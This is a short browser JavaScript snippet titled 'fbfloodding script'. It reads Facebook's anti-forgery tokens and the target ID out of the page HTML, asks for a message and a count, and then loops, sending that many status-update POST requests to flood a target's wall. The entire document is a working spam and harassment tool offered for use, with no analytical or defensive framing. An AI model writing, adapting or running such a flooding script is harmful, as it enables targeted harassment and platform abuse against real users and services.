fbfloodding script

var a = document.body.innerHTML;
var Num = prompt("", "Enter the number of messages to flood");
   formx = a.match(/name="post_form_id" value="([\d\w]+)"/)[1];

    dts = a.match(/name="fb_dtsg" value="([^"]+)"/)[1];
    composerid = a.match(/name="xhpc_composerid" value="([^"]+)"/)[1];
   var msg = prompt("", "Enter the Message you want to flood");
    target = a.match(/name="targetid" value="([^"]+)"/)[1];

 pst = "post_form_id=" + formx + "&fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + target+ "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest";

i=0;

                    while(i < Num){

 with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded")  , send(pst);
    i += 1;
                }